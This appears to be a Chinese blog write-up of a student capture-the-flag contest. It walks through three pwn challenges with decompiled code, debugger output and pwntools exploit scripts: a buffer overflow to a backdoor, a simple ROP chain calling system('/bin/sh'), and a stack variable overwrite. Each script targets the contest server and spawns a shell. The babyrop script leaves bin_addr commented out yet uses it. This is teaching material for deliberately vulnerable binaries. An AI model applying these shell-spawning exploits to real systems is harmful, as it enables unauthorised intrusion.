

# 2019新生杯 pwn writeup

原创

[\\_n19hT](#) 于 2019-11-18 20:12:51 发布 389 收藏

分类专栏: [# pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_43092232/article/details/103129646](https://blog.csdn.net/weixin_43092232/article/details/103129646)

版权



[pwn 专栏收录该内容](#)

29 篇文章 4 订阅

订阅专栏

新生杯被吊打, 大佬们tql...本来周五打完就应该写wp的, 颓废了一个周末, 周一晚上开始写。

wp分开吧, 每个方向一个wp(不是全栈!!!)

其实pwn题目有点坑...前面的没学过二进制的web手也能做, 后面两题做出来的人就很少(主要是我太菜了)

**五道pwn题在文末都有网盘链接**

\*\*

## 0x00 babyrip

\*\*

IDA看一下主要函数

```
int pwn()
{
    char v1; // [rsp+0h] [rbp-F0h]

    printf("Enter your comment:");
    __isoc99_scanf("%256s", &v1);
    return puts("Got shell?");
}

int backd00r()
{
    return execve("/bin/sh", 0LL, 0LL);
}
```

能溢出, 还给了后门函数...很友好

使用pwndbg里面的cyclic看一下溢出需要多少字节(junk=248\*'A')

再找到execve("/bin/sh")的地址, 溢出getshell

```

exp:
from pwn import *
context.log_level = 'debug'
p = remote("34.80.207.78",10000)
junk =248*"A"
sys_addr = 0x04007D5
payload = junk + p64(sys_addr)
p.send(payload)
p.interactive()

```

## 0x01 babyrop

这道题用到了简单的rop,做这题的时候还去网上搜了下rop链的构造。

这题就很简单了: **溢出+pop rdi+传入binsh地址+调用system函数**

**64位程序,rdi是函数调用的第一个参数,先pop rdi再把binsh地址放进rdi中。**

```

exp:
from pwn import *
context.log_level = 'debug'
p = process("./babyrop")
#.attach(p, ' ')
r = remote("34.80.207.78",10001)
junk = 0xf8 * "A"
#bin_addr =0x0400836
sys_addr = 0x0400724
pop_rdi = 0x0400803
payload = junk +p64(pop_rdi)+p64(bin_addr)+p64(sys_addr)
r.send(payload)
r.interactive()

```

```

0x7ffff7a05bc8 <__libc_start_main+280>      lock dec dword ptr [rax]
[ STACK ]
00:0000| rsp 0x7fffffffddc8 → 0x7ffff7a05b97 (__libc_start_main+231) ← mov
edi, eax
01:0008|      0x7fffffffddd0 ← 0x1
02:0010|      0x7fffffffddd8 → 0x7fffffffdea8 → 0x7fffffffef239 ← '/home/prdev
il/challenge/xiaosai/babyrop'
03:0018|      0x7fffffffdde0 ← 0x100008000
04:0020|      0x7fffffffdde8 → 0x40072c (main) ← push rbp
05:0028|      0x7fffffffddf0 ← 0x0
06:0030|      0x7fffffffddf8 ← 0xf48f7cab867beaee
07:0038|      0x7fffffffde00 → 0x4005e0 (_start) ← xor ebp, ebp
[ BACKTRACE ]
▶ f 0      40079a main+110
f 1      7ffff7a05b97 __libc_start_main+231

Breakpoint *0x40079a
pwndbg> search -s "/bin/sh"
babyrop    0x400836 0x68732f6e69622f /* '/bin/sh' */
babyrop    0x600836 0x68732f6e69622f /* '/bin/sh' */
libc-2.27.so 0x7ffff7b97e9a 0x68732f6e69622f /* '/bin/sh' */
warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd2d06, halting search.
pwndbg>

```

先下断点再利用search -s寻找"/bin/sh"

## 0x02 babystack

做了两题觉得第三题应该会放难一点的...没想到跟第一题一样(溢出+变量覆盖,刚开始溢出字节算错了一直在想着怎么绕过 canary)

先IDA里面看一下主要函数:

```
unsigned __int64 pwn()
{
    char s; // [rsp+0h] [rbp-120h]
    __int64 v2; // [rsp+18h] [rbp-108h]
    __int64 v3; // [rsp+110h] [rbp-10h]
    unsigned __int64 v4; // [rsp+118h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    memset(&s, 0, 0x110uLL);
    v3 = 180097847LL;
    printf("Enter your name:", 0LL);
    read(0, &s, 0x18uLL);
    printf("Enter your comment:", &s);
    read(0, &v2, 0x100uLL);
    printf("Hello, %s, your comment is %s.\n", &s, &v2);
    if ( v3 == 20150972 )
    {
        puts("you are an eligible user to obtain shell prompt.");
        system("/bin/sh");
    }
    else
    {
        puts("you don't have permission to access shell.");
    }
    return __readfsqword(0x28u) ^ v4;
}
```

漏洞利用过程: 输入name+填充junk字节+变量覆盖即可getshell

```
exp:
from pwn import *
context(arch='amd64',os='linux',log_level="debug")
r = remote("34.80.207.78",10002)
r.recv()
r.sendline("match")
r.recv()
r.sendline("a"*0xf8+p64(0x1337ABC))
r.interactive()
```

## 0x03 syscall

## 0x04 inversion

链接: <https://pan.baidu.com/s/1vya52A8u1QKDNgoQfkgVSw>

提取码: gbqk